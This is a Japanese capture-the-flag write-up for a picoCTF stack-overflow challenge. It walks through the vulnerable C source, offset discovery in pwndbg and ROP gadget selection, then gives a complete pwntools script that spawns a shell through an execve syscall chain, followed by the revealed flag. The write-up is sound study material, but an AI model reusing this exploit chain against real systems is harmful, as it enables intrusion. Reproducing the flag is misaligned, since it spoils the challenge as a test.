問題のコード
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
Makefile
all:
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
clean:
rm vuln
戦略
win 関数までいければ buffer overflow の脆弱性があるので return アドレスを書き換えられそう。 win 関数に行くには get_random() で取得された値を当てる必要がある。ブルートフォースで当てることもできるし、今回はシード値がないので毎回同じ値になる。今回は 84 だった。
今回フラグを表示してくれるコードはないので自分で execv を実行してシェルを取得する必要がある。
ここで行き詰ってしまったが、ROP Chain で execv を実行するらしい。 この問題の write up は探せばいくらでも出てくるが、自分の理解を深めるためにあえて write up を書く。 この問題を解くに当たって、以下の記事を参考にした。 https://qiita.com/Koukyosyumei/items/89cf4d061cbe405e56b6
なお、セキュリティ機構は以下の通り。
$ checksec --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE N/A N/A 1847 Symbols N/A 0 0 vuln
ROP (Return Oriented Programming) とは
関数リターン命令(RET)を悪用し、任意のコード実行を行う攻撃技法。 基本的に stack 上のコードは実行ができないようになっている (NX ビットが立っている場合) そのため、実行可能な領域にあるコードにジャンプして実行して ret 命令で元に戻ってくるというのを繰り返して任意の処理を行うことができる。 このとき実行するコードを Gadget と呼び、Gadget を chain のように連結することで処理を行う。
exploit
まず return アドレスを書き換えるのに必要な文字数を確認する。 win 関数内の fgets 後に breakpoint を設定。
pwndbg> cyclic 200
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
pwndbg> b *win+49
Breakpoint 1 at 0x400c81
pwndbg> r
Welcome to my guessing game!
What number would you like to guess?
84
Congrats! You win! Your prize is this print statement!
New winner!
Name? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
...
────────────────────────────────[ BACKTRACE ]────────────────────────────────
► 0 0x400c81 win+49
1 0x6161616161616170 None
2 0x6161616161616171 None
3 0x6161616161616172 None
4 0x6161616161616173 None
5 0x6161616161616174 None
6 0x6161616161616175 None
7 0x6161616161616176 None
BACKTRACE からリターンアドレスが書き変わったことを確認。オフセットを確認。
pwndbg> cyclic -o paaaaaaa
Finding cyclic pattern of 8 bytes: b'paaaaaaa' (hex: 0x7061616161616161)
Found at offset 120
オフセットは 120。このオフセット後に ROP Chain を仕込めばコードを実行できる。 つまり、以下のようになる。
| |
| Padding (120byte) |
| |
| |
| |
|---------------------|
| ROP-Chain |
|---------------------|
system 関数があれば /bin/sh を引数にして実行できるが、今回のコードにはなさそう。 ただ、syscall 命令があるのでこれで execv システムコールを実行できる。
execv の引数は以下
execv(const char *path, char *const argv[]);
第一引数に /bin/sh、他は 0 で問題ない。
x86_64 では引数を以下のレジスタに格納する。
引数 第1引数 第2引数 第3引数 第4引数 第5引数 第6引数
レジスタ rdi rsi rdx rcx r8 r9
なので rax には execv の番号である 0x3b を入れ、rdi は “/bin/sh\0x00” が格納されたアドレス, rsi は 0, rdx は 0 を入れればよい。
ROPChain に使う Gadget は ROPgadget コマンドで取得できる。 以下のコマンドで ROPchain に必要な情報を大量に出力してくれる。
$ ROPgadget --binary vuln --ropchain
この出力の中に ROP Chain に使えるコードとそのアドレスを出力してくれる。
ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x47ffe1 mov qword ptr [rsi], rax ; ret
[+] Gadget found: 0x410b93 pop rsi ; ret
[+] Gadget found: 0x4005af pop rax ; ret
[+] Gadget found: 0x445690 xor rax, rax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x445690 xor rax, rax ; ret
[+] Gadget found: 0x475320 add rax, 1 ; ret
[+] Gadget found: 0x475321 add eax, 1 ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x4006a6 pop rdi ; ret
[+] Gadget found: 0x410b93 pop rsi ; ret
[+] Gadget found: 0x410602 pop rdx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x40138c syscall
- Step 5 -- Build the ROP chain
Step 1 では任意のアドレスに書き込みを行うものである。これを使って “/bin/sh\0x00” を BSS セクションに書き込む。 この時の ROPchain は以下のようになる。
| address to (pop rax; ret) |
|----------------------------------------------|
| "/bin/sh\x00" |
|----------------------------------------------|
| address to (pop rsi; ret) |
|----------------------------------------------|
| .bss |
|----------------------------------------------|
| address to (mov qword ptr [rsi], rax ; ret) |
|----------------------------------------------|
pop (レジスタ): ret をすることで、そのレジスタに次のスタックの値を格納し、ret によって再びスタックに帰ってこれる。
次に、execv を実行する。syscall のアドレスは Step 4 のところに記載がある。 ROPchain は以下のようになる。
| address to (pop rdi; ret) |
|---------------------------|
| .bss ("/bin/sh") |
|---------------------------|
| address to (pop rsi; ret) |
|---------------------------|
| 0x0 |
|---------------------------|
| address to (pop rdx; ret) |
|---------------------------|
| 0x0 |
|---------------------------|
| address to (pop rax; ret) |
|---------------------------|
| 0x3b |
|---------------------------|
| address to (syscall; ret) |
|---------------------------|
これらをコードに落とし込むと以下のようになる。
from pwn import *
#p = process("./vuln")
p = remote("shape-facility.picoctf.net", 53146)
elf = ELF("./vuln")
rop = ROP(elf)
pop_rax_ret = p64(rop.find_gadget(["pop rax", "ret"]).address)
pop_rsi_ret = p64(rop.find_gadget(["pop rsi", "ret"]).address)
pop_rdi_ret = p64(rop.find_gadget(["pop rdi", "ret"]).address)
pop_rdx_ret = p64(rop.find_gadget(["pop rdx", "ret"]).address)
mov_rsi_rax = p64(0x47ffe1)
syscall = p64(0x40138c)
write_sh = pop_rax_ret + b"/bin/sh\x00" + pop_rsi_ret + p64(elf.bss()) + mov_rsi_rax
call_execv = pop_rdi_ret + p64(elf.bss()) + pop_rsi_ret + p64(0) + pop_rdx_ret + p64(0) + pop_rax_ret + p64(0x3b) + syscall
payload = b"a"*120 + write_sh + call_execv
p.recvuntil(b"What number would you like to guess?\n")
p.sendline(b"84")
p.recvuntil(b"Congrats! You win! Your prize is this print statement!\n\n")
p.recvuntil(b"New winner!\n")
p.recvuntil(b"Name? ")
p.sendline(payload)
p.interactive()
ROPgadget コマンドで出力されたアドレスを使ってもよいが pwntools の rop.find_gadget からもアドレスを取得できる。
実行
$ ls
Dockerfile
Makefile
Makefile.share
Solution
flag.txt
start.sh
vuln
vuln.c
$ cat flag.txt
picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_b60859a7b4193d0e}